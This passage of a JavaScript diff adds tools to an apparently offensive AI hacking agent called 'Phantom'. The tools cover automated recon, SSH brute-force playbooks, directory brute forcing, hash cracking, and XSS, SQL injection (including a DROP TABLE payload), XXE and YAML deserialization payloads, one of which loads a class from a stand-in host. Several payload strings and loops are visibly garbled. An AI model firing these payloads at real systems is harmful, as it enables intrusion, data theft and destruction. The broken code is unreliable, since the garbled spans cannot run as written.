${result.substring(0, 200)}`; + // Strip markdown code fences + const clean = result.replace(/^```\w*\n?/gm, "").replace(/```$/gm, "").trim(); + const toolName = clean.match(/async function\s+(\w+)/)?.[1] || "newTool"; + const genDir = resolve(BASE_DIR, "generated"); + if (!fs.existsSync(genDir)) fs.mkdirSync(genDir, { recursive: true }); + fs.writeFileSync(resolve(genDir, `${toolName}.ts`), clean, "utf-8"); + return `🎯 Generated tool "${toolName}" at ${genDir}/${toolName}.ts\nIntegrate: paste function into lib/tools.mjs, add to phantom.mjs registry\n\n${clean.substring(0, 600)}`; + } catch (e) { return `[Self Add Error] ${e.message}`; } + }, + + // ── KNOWLEDGE BASE ── + knowledge_add: async (input) => { + try { + const parts = input.split("|"); + const tags = (parts[0] || "general").split(",").map(t => t.trim()).filter(Boolean); + const content = parts.slice(1).join("|").trim(); + if (!content) return "[Knowledge] Usage: tags|content"; + if (!fs.existsSync(KNOWLEDGE_DIR)) fs.mkdirSync(KNOWLEDGE_DIR, { recursive: true }); + const slug = tags[0].replace(/[^a-z0-9_-]/gi, "_") + "_" + Date.now(); + fs.writeFileSync(resolve(KNOWLEDGE_DIR, `${slug}.json`), JSON.stringify({ tags, content, created: new Date().toISOString() }, null, 2), "utf-8"); + return `📚 Knowledge saved (tags: ${tags.join(", ")})`; + } catch (e) { return `[Knowledge Error] ${e.message}`; } + }, + knowledge_search: async (input) => { + try { + if (!fs.existsSync(KNOWLEDGE_DIR)) return "[Knowledge] Empty"; + const q = input.toLowerCase().trim(); + const results = fs.readdirSync(KNOWLEDGE_DIR).filter(f => f.endsWith(".json")).map(f => { + const d = JSON.parse(fs.readFileSync(resolve(KNOWLEDGE_DIR, f), "utf-8")); + return !q || d.tags.some(t => t.toLowerCase().includes(q)) || d.content.toLowerCase().includes(q) ? `[${d.tags.join(", ")}] ${d.content.substring(0, 200)}` : null; + }).filter(Boolean); + return results.length ? `📚 Knowledge (${results.length}):\n${results.join("\n")}` : `[Knowledge] No results for "${q}"`; + } catch (e) { return `[Knowledge Error] ${e.message}`; } + }, + + // ── BRAIN — search across ALL learned knowledge (books + knowledge) ── + brain: async (input) => { + try { + const q = input.toLowerCase().trim(); + const lines = []; + + // Search books/ + const { BOOKS_DIR: BD } = await import("./config.mjs"); + if (fs.existsSync(BD)) { + for (const f of fs.readdirSync(BD).filter(f => f.endsWith(".txt"))) { + const content = fs.readFileSync(resolve(BD, f), "utf-8"); + if (!q || content.toLowerCase().includes(q)) { + const tag = f.replace(".txt", "").replace(/_/g, " "); + const matchLines = content.split("\n").filter(l => !q || l.toLowerCase().includes(q)).slice(0, 5); + lines.push(`📖 ${tag}:`); + for (const l of matchLines) lines.push(` ${l.substring(0, 150)}`); + } + } + } + + // Search knowledge/ + if (fs.existsSync(KNOWLEDGE_DIR)) { + for (const f of fs.readdirSync(KNOWLEDGE_DIR).filter(f => f.endsWith(".txt") || f.endsWith(".json"))) { + const content = fs.readFileSync(resolve(KNOWLEDGE_DIR, f), "utf-8"); + if (!q || content.toLowerCase().includes(q)) { + const tag = f.replace(/\.[^.]+$/, "").replace(/_/g, " "); + const matchLines = content.split("\n").filter(l => !q || l.toLowerCase().includes(q)).slice(0, 3); + lines.push(`🔍 ${tag}:`); + for (const l of matchLines) lines.push(` ${l.substring(0, 150)}`); + } + } + } + + if (lines.length === 0) return q ? `[brain] Nothing found for "${q}"` : "[brain] Nothing learned yet. Use tools, read books, or run @study."; + return lines.join("\n"); + } catch (e) { return `[brain Error] ${e.message}`; } + }, + + // ── HACKBOOK — zero-day taxonomy / security reference ── + hackbook: async (input) => { + try { + const { HACKBOOK_DIR } = await import("./config.mjs"); + if (!input || !input.trim()) { + // List available topics + if (!fs.existsSync(HACKBOOK_DIR)) { + fs.mkdirSync(HACKBOOK_DIR, { recursive: true }); + return "[hackbook] Empty. Use @hackbook|topic to search taxonomy."; + } + const files = fs.readdirSync(HACKBOOK_DIR).filter(f => f.endsWith(".txt")); + if (files.length === 0) return "[hackbook] No taxonomy files. Seed with @learn_book."; + return `📚 Hackbook (${files.length} files):\n${files.map(f => ` ${f.replace(".txt", "")}`).join("\n")}`; + } + + const q = input.toLowerCase().trim(); + const results = []; + for (const f of fs.readdirSync(HACKBOOK_DIR).filter(f => f.endsWith(".txt"))) { + const content = fs.readFileSync(resolve(HACKBOOK_DIR, f), "utf-8"); + const lines = content.split("\n"); + const matches = lines.filter(l => l.toLowerCase().includes(q)); + if (matches.length > 0) { + const tag = f.replace(".txt", ""); + results.push(`📖 ${tag}:`); + for (const m of matches.slice(0, 8)) results.push(` ${m.replace(/^###?\s*/, "").substring(0, 150)}`); + } + } + return results.length > 0 + ? results.join("\n") + : `[hackbook] Nothing for "${q}". Topics: ${fs.readdirSync(HACKBOOK_DIR).filter(f => f.endsWith(".txt")).map(f => f.replace(".txt", "")).join(", ")}`; + } catch (e) { return `[hackbook Error] ${e.message}`; } + }, + + // ── PLAYBOOK SYSTEM ── + playbook_list: async () => { + try { + if (!fs.existsSync(PLAYBOOKS_DIR)) fs.mkdirSync(PLAYBOOKS_DIR, { recursive: true }); + // Seed built-ins + const BUILTINS = [ + { name:"quick_web_recon", description:"Full recon on a web target", variables:["target"], steps:[ + {tool:"whois",args:"{{target}}",desc:"WHOIS"},{tool:"dns_lookup",args:"{{target}}",desc:"DNS"},{tool:"sub_enum",args:"{{target}}",desc:"Subdomains"},{tool:"port_scan",args:"{{target}}",desc:"Ports"},{tool:"http_headers",args:"https://{{target}}",desc:"Headers"},{tool:"ssl_check",args:"{{target}}",desc:"SSL"} + ]}, + { name:"vuln_assessment", description:"Full vuln assessment: recon + CVE + exploits", variables:["target"], steps:[ + {tool:"recon",args:"{{target}}",desc:"Recon sweep"},{tool:"cve_search",args:"{{target}}",desc:"CVEs"},{tool:"searchsploit",args:"{{target}}",desc:"Exploits"},{tool:"bruteforce",args:"ssh|{{target}}|root|admin,root,password",desc:"SSH brute"} + ]}, + { name:"network_footprint", description:"Map network footprint: DNS, whois, geo, ports, crawl", variables:["target"], steps:[ + {tool:"dns_lookup",args:"{{target}}",desc:"DNS"},{tool:"whois",args:"{{target}}",desc:"WHOIS"},{tool:"port_scan",args:"{{target}}",desc:"Ports"},{tool:"crawl",args:"https://{{target}}",desc:"Crawl"} + ]}, + { name:"full_vulnscan_report", description:"Auto vuln_scan + save report + session", variables:["target"], steps:[ + {tool:"vuln_scan",args:"{{target}}",desc:"Full scan"},{tool:"session_save",args:"scan_{{target}}",desc:"Save session"} + ]}, + ]; + for (const pb of BUILTINS) { + const fp = resolve(PLAYBOOKS_DIR, `${pb.name}.json`); + if (!fs.existsSync(fp)) fs.writeFileSync(fp, JSON.stringify(pb, null, 2), "utf-8"); + } + const files = fs.readdirSync(PLAYBOOKS_DIR).filter(f => f.endsWith(".json")); + if (!files.length) return "[Playbook] No playbooks found"; + const lines = files.map(f => { + const pb = JSON.parse(fs.readFileSync(resolve(PLAYBOOKS_DIR, f), "utf-8")); + return `📋 ${pb.name} — ${(pb.description||"").substring(0, 80)} (${(pb.steps||[]).length} steps)`; + }); + return `Available playbooks (${files.length}):\n${lines.join("\n")}`; + } catch (e) { return `[Playbook Error] ${e.message}`; } + }, + playbook_create: async (input) => { + try { + const parts = input.split("|"); + const name = (parts[0] || `pb_${Date.now()}`).replace(/[^a-z0-9_-]/gi, "_"); + const desc = parts[1] || "Auto-generated"; + const stepsRaw = parts.slice(2).join("|") || ""; + const apiKey = process.env.OPENAI_API_KEY; + if (apiKey && !stepsRaw) { + try { + const r = await fetch("https://api.openai.com/v1/chat/completions", { + method:"POST", headers:{"Content-Type":"application/json",Authorization:`Bearer ${apiKey}`}, + body:JSON.stringify({model:"gpt-4o-mini",messages:[{role:"system",content:"Generate a JSON playbook. Format: {name,description,variables:[\"target\"],steps:[{tool,args,desc}]}. Only valid JSON."},{role:"user",content:`Create playbook: ${desc}`}],max_tokens:1000}), + signal:AbortSignal.timeout(30000), + }); + const d = await r.json(); + const pb = JSON.parse(d?.choices?.[0]?.message?.content || "{}"); + if (pb.steps) { pb.name = name; pb.description = desc; fs.writeFileSync(resolve(PLAYBOOKS_DIR, `${name}.json`), JSON.stringify(pb, null, 2), "utf-8"); return `✅ LLM-created playbook: ${name} (${pb.steps.length} steps)`; } + } catch {} + } + const steps = stepsRaw ? stepsRaw.split(",").map(s => ({tool:"shell",args:s.trim(),desc:s.trim()})) : [{tool:"shell",args:"echo hello",desc:"Default step"}]; + fs.writeFileSync(resolve(PLAYBOOKS_DIR, `${name}.json`), JSON.stringify({name,description:desc,variables:["target"],steps}, null, 2), "utf-8"); + return `📋 Playbook created: ${name} (${steps.length} steps)`; + } catch (e) { return `[Playbook Error] ${e.message}`; } + }, + playbook_run: async (input) => { + try { + const parts = input.split("|"); + const name = parts[0]?.trim(); + if (!name) return "[Playbook] Usage: playbook_run|name|target=example.com"; + const fp = resolve(PLAYBOOKS_DIR, `${name.replace(/[^a-z0-9_-]/gi, "_")}.json`); + if (!fs.existsSync(fp)) return `[Playbook] Not found: ${name}`; + const pb = JSON.parse(fs.readFileSync(fp, "utf-8")); + const vars = {}; + if (parts[1]) parts[1].split(",").forEach(p => { const [k,v] = p.split("="); if (k && v) vars[k.trim()] = v.trim(); }); + const log = [`Executing: ${pb.name}`, `Description: ${pb.description}`, `---`, ``]; + for (let i = 0; i < pb.steps.length; i++) { + const s = pb.steps[i]; + let args = s.args; + for (const [k, v] of Object.entries(vars)) args = args.replace(new RegExp(`\\{\\{${k}\\}\\}`, "g"), v); + log.push(`Step ${i+1}/${pb.steps.length}: @${s.tool}|${args} — ${s.desc}`); + try { + if (!hackerTools[s.tool]) { log.push(` ⚠ Unknown tool: ${s.tool}`); continue; } + const r = await hackerTools[s.tool](args); + log.push(` ${r.substring(0, 1000)}`); + if (r.length > 1000) log.push(` … (${r.length} total)`); + } catch (e) { log.push(` ⚠ Error: ${e.message}`); } + log.push(``); + } + log.push(`---\n✅ "${pb.name}" complete (${pb.steps.length} steps)`); + return log.join("\n"); + } catch (e) { return `[Playbook Error] ${e.message}`; } + }, + playbook_edit: async (input) => { + try { + const parts = input.split("|"); + const name = parts[0]?.trim(); + if (!name) return "[Playbook] Usage: playbook_edit|name|step|tool|args|desc"; + const fp = resolve(PLAYBOOKS_DIR, `${name.replace(/[^a-z0-9_-]/gi, "_")}.json`); + if (!fs.existsSync(fp)) return `[Playbook] Not found: ${name}`; + const pb = JSON.parse(fs.readFileSync(fp, "utf-8")); + if (parts[1] === "desc" && parts[2]) { pb.description = parts[2]; fs.writeFileSync(fp, JSON.stringify(pb, null, 2), "utf-8"); return `✅ Description updated`; } + if (parts[1] === "add" && parts[2]) { pb.steps.push({tool:parts[2],args:parts[3]||"",desc:parts[4]||parts[2]}); fs.writeFileSync(fp, JSON.stringify(pb, null, 2), "utf-8"); return `✅ Step added`; } + const idx = parseInt(parts[1]) - 1; + if (isNaN(idx) || idx < 0 || idx >= pb.steps.length) return `[Playbook] Invalid step. Steps: 1-${pb.steps.length}`; + if (parts[2]) pb.steps[idx].tool = parts[2]; + if (parts[3]) pb.steps[idx].args = parts[3]; + if (parts[4]) pb.steps[idx].desc = parts[4]; + fs.writeFileSync(fp, JSON.stringify(pb, null, 2), "utf-8"); + return `✅ Step ${idx+1} updated: @${pb.steps[idx].tool}|${pb.steps[idx].args}`; + } catch (e) { return `[Playbook Error] ${e.message}`; } + }, + + // ── RECON TOOLS ── + geoip: async (ip) => { + try { + const r = await fetch(`http://ip-api.com/json/${ip.trim()}?fields=status,country,regionName,city,zip,lat,lon,isp,org,as,query`, {signal:AbortSignal.timeout(8000)}); + const d = await r.json(); + if (d.status === "fail") return `[GeoIP] ${d.message || "Unknown"}`; + return `🌍 GeoIP: ${d.query}\nCountry: ${d.country}\nRegion: ${d.regionName}\nCity: ${d.city}\nZIP: ${d.zip}\nCoordinates: ${d.lat}, ${d.lon}\nISP: ${d.isp}\nOrg: ${d.org}\nASN: ${d.as}`; + } catch (e) { return `[GeoIP Error] ${e.message}`; } + }, + dns_zone: async (input) => { + try { + const domain = input.replace(/^https?:\/\//, "").replace(/\/.*$/, "").trim(); + const nsResp = await fetch(`https://dns.google/resolve?name=${domain}&type=NS`, {signal:AbortSignal.timeout(8000)}); + const nsData = await nsResp.json(); + const nsList = (nsData?.Answer||[]).map(a => a.data.replace(/\.$/, "")); + if (!nsList.length) return "[DNS Zone] No NS records found"; + const results = [`Testing ${nsList.length} NS for zone transfer on ${domain}:`,``]; + for (const ns of nsList) { + try { + const r = await fetch(`https://dns.google/resolve?name=${domain}&type=AXFR&nameserver=${ns}`, {signal:AbortSignal.timeout(10000)}); + const d = await r.json(); + if (d?.Answer?.length > 0) { results.push(`⚠ VULNERABLE: ${ns} returned ${d.Answer.length} records!`); d.Answer.forEach(a => results.push(` ${a.name} ${a.type} ${a.data}`)); } + else results.push(`✅ ${ns} — zone transfer denied`); + } catch { results.push(`⏰ ${ns} — timeout/error`); } + } + return results.join("\n"); + } catch (e) { return `[DNS Zone Error] ${e.message}`; } + }, + http_methods: async (input) => { + try { + const url = input.startsWith("http") ? input : `https://${input}`; + const methods = ["GET","POST","PUT","DELETE","OPTIONS","PATCH","HEAD","TRACE","CONNECT"]; + const results = [`Testing HTTP methods on ${url}:`,``]; + for (const method of methods) { + try { + const r = await fetch(url, {method, signal:AbortSignal.timeout(5000)}); + const allow = r.headers.get("allow") || r.headers.get("access-control-allow-methods") || ""; + results.push(` ${method} → ${r.status}${allow ? ` (Allow: ${allow})` : ""}`); + } catch (e) { results.push(` ${method} → Error: ${(e.message||"").substring(0,60)}`); } + } + return results.join("\n"); + } catch (e) { return `[HTTP Methods Error] ${e.message}`; } + }, + robots_txt: async (input) => { + try { + const base = input.startsWith("http") ? input : `https://${input}`; + const url = `${base.replace(/\/+$/, "")}/robots.txt`; + const r = await fetch(url, {signal:AbortSignal.timeout(8000)}); + if (r.status === 404) return `[robots.txt] Not found at ${url}`; + const text = await r.text(); + const disallowed = text.match(/Disallow:\s*(.+)/gi) || []; + const sitemaps = text.match(/Sitemap:\s*(.+)/gi) || []; + return `🤖 robots.txt from ${url}:\n---\n${text.substring(0,2000)}${disallowed.length ? `\n\n🚫 Disallowed (${disallowed.length}):\n${disallowed.join("\n")}` : ""}${sitemaps.length ? `\n\n🗺 Sitemaps (${sitemaps.length}):\n${sitemaps.join("\n")}` : ""}`; + } catch (e) { return `[robots.txt Error] ${e.message}`; } + }, + email_verify: async (input) => { + try { + const email = input.trim().toLowerCase(); + if (!/^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email)) return `[Email] Invalid: ${email}`; + const domain = email.split("@")[1]; + const r = await fetch(`https://dns.google/resolve?name=${domain}&type=MX`, {signal:AbortSignal.timeout(8000)}); + const d = await r.json(); + const mxs = (d?.Answer||[]).filter(a => a.type === 15).map(a => a.data.replace(/\.$/, "")); + return mxs.length ? `✅ ${email}\nDomain: ${domain}\nMX: ${mxs.join(", ")}` : `✅ Format valid, but no MX for ${domain}`; + } catch (e) { return `[Email Error] ${e.message}`; } + }, + + reverse_dns: async (ip) => { + try { + const r = await fetch(`https://dns.google/resolve?name=${ip.trim()}&type=PTR`, {signal:AbortSignal.timeout(8000)}); + const d = await r.json(); + const ptrs = (d?.Answer||[]).filter(a => a.type === 12).map(a => a.data); + return ptrs.length ? `🔁 PTR for ${ip}:\n${ptrs.join("\n")}` : `[Reverse DNS] No PTR for ${ip}`; + } catch (e) { return `[Reverse DNS Error] ${e.message}`; } + }, + wayback: async (input) => { + try { + const domain = input.replace(/^https?:\/\//, "").replace(/\/.*$/, "").trim(); + const r = await fetch(`https://web.archive.org/cdx/search/cdx?url=${domain}/*&output=json&limit=20&fl=timestamp,original,statuscode`, {signal:AbortSignal.timeout(15000)}); + const d = await r.json(); + if (!Array.isArray(d) || d.length < 2) return `[Wayback] No snapshots for ${domain}`; + return `🗄 Wayback: ${domain} (${d.length - 1} snapshots)\n${d.slice(1).map(row => ` ${row[0].substring(0,8)} ${row[2]||"—"} ${row[1]}`).join("\n")}`; + } catch (e) { return `[Wayback Error] ${e.message}`; } + }, + cert_expiry: async (input) => { + try { + const domain = input.replace(/^https?:\/\//, "").replace(/\/.*$/, "").trim(); + const {execSync} = await import("child_process"); + const raw = execSync(`openssl s_client -connect ${domain}:443 -servername ${domain} /dev/null | openssl x509 -noout -dates`, {timeout:10000,encoding:"utf-8"}); + if (!raw.trim()) return `[Cert Expiry] No cert for ${domain}`; + const nb = raw.match(/notBefore=(.+)/)?.[1] || "?"; + const na = raw.match(/notAfter=(.+)/)?.[1] || "?"; + const days = na !== "?" ? Math.round((new Date(na).getTime()-Date.now())/86400000) : NaN; + return `🔒 ${domain}\nIssued: ${nb}\nExpires: ${na}${!isNaN(days)?`\nDays left: ${days}`:""}`; + } catch (e) { return `[Cert Expiry Error] ${e.message}`; } + }, + cors_test: async (input) => { + try { + const url = input.startsWith("http") ? input : `https://${input}`; + const origins = ["https://evil.com","null","https://attacker.org","https://example.com",""]; + const r = [`🔓 CORS test: ${url}\n`]; + for (const origin of origins) { + try { + const resp = await fetch(url, {method:"GET", headers:origin?{Origin:origin}:{}, signal:AbortSignal.timeout(5000)}); + const acao = resp.headers.get("access-control-allow-origin") || "—"; + const creds = resp.headers.get("access-control-allow-credentials") || ""; + r.push(` Origin: ${origin||"(none)"} → ACAO: ${acao}${creds?`, Credentials: ${creds}`:""}`); + } catch (e) { r.push(` Origin: ${origin} → ${(e.message||"").substring(0,50)}`); } + } + if (r.some(l => l.includes("*") || (l.includes("evil.com")&&l.includes("https://evil.com")))) r.push(`\n⚠ Vulnerable to CORS attacks!`); + return r.join("\n"); + } catch (e) { return `[CORS Error] ${e.message}`; } + }, + jwt_decode: async (input) => { + try { + const parts = input.trim().split("."); + if (parts.length !== 3) return `[JWT] Expected 3 parts, got ${parts.length}`; + const b64u = s => s.replace(/-/g,"+").replace(/_/g,"/"); + const decode = s => { try { return JSON.stringify(JSON.parse(Buffer.from(b64u(s),"base64").toString()),null,2); } catch { return Buffer.from(b64u(s),"base64").toString(); } }; + return `🔐 JWT\n── Header ──\n${decode(parts[0])}\n── Payload ──\n${decode(parts[1])}\n── Signature ──\n${parts[2].substring(0,40)}…`; + } catch (e) { return `[JWT Error] ${e.message}`; } + }, + hash_crack: async (input) => { + try { + const hash = input.trim(); + if (/^[a-f0-9]{32}$/i.test(hash)) { + const r = await fetch(`https://www.nitrxgen.net/api/md5/${hash}`, {signal:AbortSignal.timeout(10000)}); + const text = await r.text(); + if (text?.trim()) return `🔓 MD5 cracked: ${hash} → ${text.trim()}`; + } + return `[Hash Crack] Not found: ${hash}. Supports MD5.`; + } catch (e) { return `[Hash Crack Error] ${e.message}`; } + }, + + dir_bruteforce: async (input) => { + try { + const url = input.startsWith("http") ? input.replace(/\/+$/, "") : `https://${input.replace(/\/+$/, "")}`; + const paths = ["/admin","/api","/.git","/.env","/backup","/wp-admin","/login","/config","/robots.txt","/.htaccess","/phpinfo.php","/test","/uploads","/debug","/graphql","/swagger","/api/v1","/health","/actuator","/console","/jenkins","/phpmyadmin","/cgi-bin","/server-status","/shell","/crossdomain.xml","/.well-known/security.txt","/metrics","/dump","/logs"]; + const results = (await Promise.allSettled(paths.map(async p => { + try { const r = await fetch(url + p, {signal:AbortSignal.timeout(5000)}); if (r.status !== 404) return ` ${r.status} ${url}${p}`; } catch {} + return null; + }))).flatMap(r => r.status === "fulfilled" && r.value ? [r.value] : []); + return results.length ? `🔍 Dir Bruteforce — ${results.length} hits on ${url}\n${results.join("\n")}` : `[DirBrute] No paths at ${url}`; + } catch (e) { return `[DirBrute Error] ${e.message}`; } + }, + xss_scan: async (input) => { + try { + const url = input.startsWith("http") ? input : `https://${input}`; + const payloads = ["", "\">", "'\">", "{{constructor.constructor('alert(1)')()}}", "'';!--\"=&{()}"]; + const results = (await Promise.allSettled(payloads.map(async p => { + try { const tu = (url.includes("?") ? url + "&" : url + "?") + "q=" + encodeURIComponent(p); const r = await fetch(tu, {signal:AbortSignal.timeout(5000)}); const t = await r.text(); if (t.includes(p.substring(0,15))) return ` ⚠ ${p.substring(0,25)} reflected`; } catch {} + return null; + }))).flatMap(r => r.status === "fulfilled" && r.value ? [r.value] : []); + return results.length ? `🚨 XSS — ${results.length} reflection(s) on ${url}\n${results.join("\n")}` : `[XSS] No reflection at ${url}`; + } catch (e) { return `[XSS Error] ${e.message}`; } + }, + sql_detect: async (input) => { + try { + const url = input.startsWith("http") ? input : `https://${input}`; + const payloads = ["' OR '1'='1", "' OR 1=1--", "' UNION SELECT 1--", "' AND 1=1--", "' AND SLEEP(3)--", "'; DROP TABLE users--", "' OR '1'='1' /*"]; + const results = (await Promise.allSettled(payloads.map(async p => { + try { const tu = url.includes("?") ? url.replace(/([=?&])[^=&]+$/, "$1" + encodeURIComponent(p)) : url + "?id=" + encodeURIComponent(p); const r = await fetch(tu, {signal:AbortSignal.timeout(8000)}); const t = (await r.text().catch(() => "")).toLowerCase(); if (["sql","mysql","sqlite","syntax","unclosed","quotation","jdbc"].some(s => t.includes(s))) return ` ⚠ ${p.substring(0,20)} → SQL error`; } catch {} + return null; + }))).flatMap(r => r.status === "fulfilled" && r.value ? [r.value] : []); + return results.length ? `⚠️ SQLi — ${results.length} injection(s) on ${url}\n${results.join("\n")}` : `[SQLi] No errors at ${url}`; + } catch (e) { return `[SQLi Error] ${e.message}`; } + }, + open_redirect: async (input) => { + try { + const url = input.startsWith("http") ? input : `https://${input}`; + const params = ["url","redirect","redirect_uri","return","return_to","r","next","target","redir","dest","out","to","go","callback","ref"]; + const results = (await Promise.allSettled(params.map(async p => { + try { const tu = (url.includes("?") ? url + "&" : url + "?") + p + "=https://evil.com"; const r = await fetch(tu, {redirect:"manual",signal:AbortSignal.timeout(5000)}); if ((r.headers.get("location")||"").includes("evil.com")) return ` ⚠ ${p}= → external redirect`; } catch {} + return null; + }))).flatMap(r => r.status === "fulfilled" && r.value ? [r.value] : []); + return results.length ? `🔀 Redirect — ${results.length} open redirect(s)\n${results.join("\n")}` : `[OpenRedirect] None at ${url}`; + } catch (e) { return `[OpenRedirect Error] ${e.message}`; } + }, + shodan_search: async (input) => { + const key = process.env.SHODAN_API_KEY; + if (!key) return `[Shodan] Set SHODAN_API_KEY env var`; + try { + const r = await fetch(`https://api.shodan.io/shodan/host/search?key=${key}&query=${encodeURIComponent(input.trim())}&limit=10`, {signal:AbortSignal.timeout(15000)}); + const d = await r.json(); + if (!d.matches?.length) return `[Shodan] No results for "${input}"`; + return `🌐 Shodan — ${d.total} result(s)\n${d.matches.slice(0,10).map(m => ` ${m.ip_str}:${m.port} ${m.transport||""} ${(m.product||m.data||"").substring(0,50)}`).join("\n")}`; + } catch (e) { return `[Shodan Error] ${e.message}`; } + }, + email_breach: async (input) => { + try { + const email = input.trim().toLowerCase(); + if (!/^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email)) return `[EmailBreach] Invalid email`; + const key = process.env.HIBP_API_KEY; + if (!key) return `[EmailBreach] Set HIBP_API_KEY env var`; + const r = await fetch(`https://haveibeenpwned.com/api/v3/breachedaccount/${encodeURIComponent(email)}?truncateResponse=true`, {headers:{"hibp-api-key":key,"User-Agent":"Phantom"}, signal:AbortSignal.timeout(10000)}); + if (r.status === 404) return `🔒 ${email} — No known breaches ✅`; + if (r.status === 200) { const b = await r.json(); return `⚠️ ${email} — ${b.length} breach(es)\n${b.slice(0,10).map(x => ` 🔴 ${x.Name} (${x.BreachDate||"?"})`).join("\n")}`; } + return `[EmailBreach] HTTP ${r.status}`; + } catch (e) { return `[EmailBreach Error] ${e.message}`; } + }, + github_dork: async (input) => { + try { + const r = await fetch(`https://api.github.com/search/code?q=${encodeURIComponent(input.trim())}&per_page=10`, {headers:{"Accept":"application/vnd.github.v3+json","User-Agent":"Phantom-Cyber"}, signal:AbortSignal.timeout(15000)}); + if (r.status === 403) return `[GitHubDork] Rate limited. Try again.`; + const d = await r.json(); + if (!d.items?.length) return `[GitHubDork] No results for "${input}"`; + return `🔍 GitHub Dork — ${d.total_count} result(s)\n${d.items.slice(0,10).map(i => ` 📄 ${i.repository?.full_name||"?"}/${i.name}`).join("\n")}`; + } catch (e) { return `[GitHubDork Error] ${e.message}`; } + }, + sub_takeover: async (input) => { + try { + const domain = input.replace(/^https?:\/\//, "").replace(/\/.*$/, "").trim(); + const r = await fetch(`https://dns.google/resolve?name=${domain}&type=CNAME`, {signal:AbortSignal.timeout(8000)}); + const d = await r.json(); + const cnames = d?.Answer?.filter(a => a.type === 5).map(a => a.data) || []; + if (!cnames.length) return `[SubTakeover] No CNAME for ${domain}`; + const svcs = {"cloudfront.net":"AWS CloudFront","s3.amazonaws.com":"AWS S3","github.io":"GitHub Pages","herokuapp.com":"Heroku","azurewebsites.net":"Azure","trafficmanager.net":"Azure TM","pantheonsite.io":"Pantheon","squarespace.com":"Squarespace","zendesk.com":"Zendesk","freshdesk.com":"Freshdesk","helpscout.net":"Help Scout","readme.io":"ReadMe","unbounce.com":"Unbounce","statuspage.io":"Statuspage"}; + const lines = cnames.map(c => { const s = Object.entries(svcs).find(([k]) => c.includes(k)); return s ? ` ⚠ → ${c.trim()} — ${s[1]} takeover!` : ` ℹ → ${c.trim()}`; }); + return `🔍 Subdomain Takeover — ${domain}\n${lines.join("\n")}`; + } catch (e) { return `[SubTakeover Error] ${e.message}`; } + }, + + // ── JS BUNDLE ANALYZER ── + js_analyze: async (input) => { + try { + const url = input.trim(); + if (!url) return "[js_analyze] Usage: js_analyze|https://target.com/app.js"; + const r = await fetch(url, { signal: AbortSignal.timeout(15000) }); + if (!r.ok) return `[js_analyze] HTTP ${r.status}`; + const code = await r.text(); + if (code.length > 500000) return "[js_analyze] File too large (>500KB), use narrower scope"; + const findings = []; + const keyPatterns = [ + [/AIza[0-9A-Za-z_-]{35}/g, "Google API key"], + [/sk-[0-9a-zA-Z]{32,}/g, "OpenAI API key"], + [/ghp_[0-9a-zA-Z]{36}/g, "GitHub token"], + [/sk_live_[0-9a-zA-Z]{24,}/g, "Stripe live key"], + [/AKIA[0-9A-Z]{16}/g, "AWS access key"], + [/-----BEGIN (RSA |EC )?PRIVATE KEY-----/g, "Private key"], + [/xox[baprs]-[0-9a-zA-Z-]{24,}/g, "Slack token"], + [/mongodb(\+srv)?:\/\/[^\s\"'`<>]+/g, "MongoDB URL"], + ]; + for (const [re, label] of keyPatterns) { + const matches = code.match(re); + if (matches) findings.push(` \u26a0 ${label}: ${matches.slice(0,3).map(m => m.length>40?m.substring(0,37)+"...":m).join(", ")}`); + } + const apiEndpoints = [...new Set([...code.matchAll(/["'\`](\/[a-zA-Z0-9_\/.-]+\/api\/[a-zA-Z0-9_\/.-]+)["'\`]/g)].map(m=>m[1]))]; + if (apiEndpoints.length>0) findings.push(` \u{1F4E1} Endpoints: ${apiEndpoints.slice(0,10).join(", ")}`); + const xssSinks = [...new Set([...code.matchAll(/(innerHTML|outerHTML|document\.write|eval\(|dangerouslySetInnerHTML)/g)].map(m=>m[1]))]; + if (xssSinks.length>0) findings.push(` \u{1F489} XSS sinks: ${xssSinks.slice(0,5).join(", ")}`); + const comments = code.match(/\/\/\s*(TODO|FIXME|HACK|XXX|BUG|SECURITY|API_KEY|PASSWORD|TOKEN)\s*[:=]?/gi); + if (comments) findings.push(` \u{1F4DD} Comments (${[...new Set(comments)].length})`); + if (!findings.length) return `[js_analyze] No secrets/endpoints in ${url.split("/").pop()} (${(code.length/1024).toFixed(1)}KB)`; + return `\u{1F52C} JS Analysis: ${url.split("/").pop()} (${(code.length/1024).toFixed(1)}KB)\n${findings.join("\n")}`; + } catch (e) { return `[js_analyze Error] ${e.message}`; } + }, + + // ── FILE UPLOAD TESTER — XXE, polyglot ── + upload_test: async (input) => { + try { + const parts = input.split("|").map(s=>s.trim()); + const url = parts[0]||""; + const mode = (parts[1]||"xxe").toLowerCase(); + if (!url) return "[upload_test] Usage: upload_test|https://target/upload|xxe\nModes: xxe, yaml, polyglot, all"; + const payloads = { + xxe: `]>&xxe;`, + yaml: `---\n!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://COLLAB"]]]]\n`, + polyglot: `GIF89a/**/`, + }; + const results = []; + const modes = mode==="all"?Object.keys(payloads):[mode]; + for (const m of modes) { + if (!payloads[m]) continue; + try { + const r = await fetch(url, {method:"POST",signal:AbortSignal.timeout(10000), + body:payloads[m],headers:{"Content-Type":"application/octet-stream"}}); + const t = await r.text(); + if (t.includes("root:")||t.includes("www-data")) results.push(` \u26a0 ${m}: XXE confirmed — file read`); + else if (r.status>=500&&t.includes("php")) results.push(` \u26a0 ${m}: Possible code exec`); + else results.push(` \u2713 ${m}: ${r.status} — filtered`); + } catch(e){results.push(` \u2715 ${m}: ${e.message}`);} + } + return `\u{1F4E4} Upload Test: ${url}\n${results.join("\n")}`; + } catch(e){return `[upload_test Error] ${e.message}`;} + }, + + // ── RATE LIMIT / TIMING / RACE TESTER ── + rate_limit_test: async (input) => { + try { + const parts = input.split("|").map(s=>s.trim()); + const url = parts[0]||""; + const mode = (parts[1]||"burst").toLowerCase(); + const count = parseInt(parts[2])||20; + if(!url) return "[rate_limit_test] Usage: rate_limit_test|https://target/login|burst|30"; + const results = []; + if(mode==="burst"||mode==="all"){ + let blocked=false; const start=Date.now(); + for(let i=0;i100) results.push(` \u26a0 Timing leak: ${diff}ms diff — possible enum`); + else results.push(` \u2713 Timing consistent (\u00b1${diff}ms)`); + } + if(mode==="race"||mode==="all"){ + const p=[]; + for(let i=0;ir.status===200||r.status===201||r.status===302).length; + if(ok>1) results.push(` \u26a0 Race window: ${ok}/${res.length} concurrent successes`); + else results.push(` \u2713 No race window`); + } + return `\u23F1 Rate 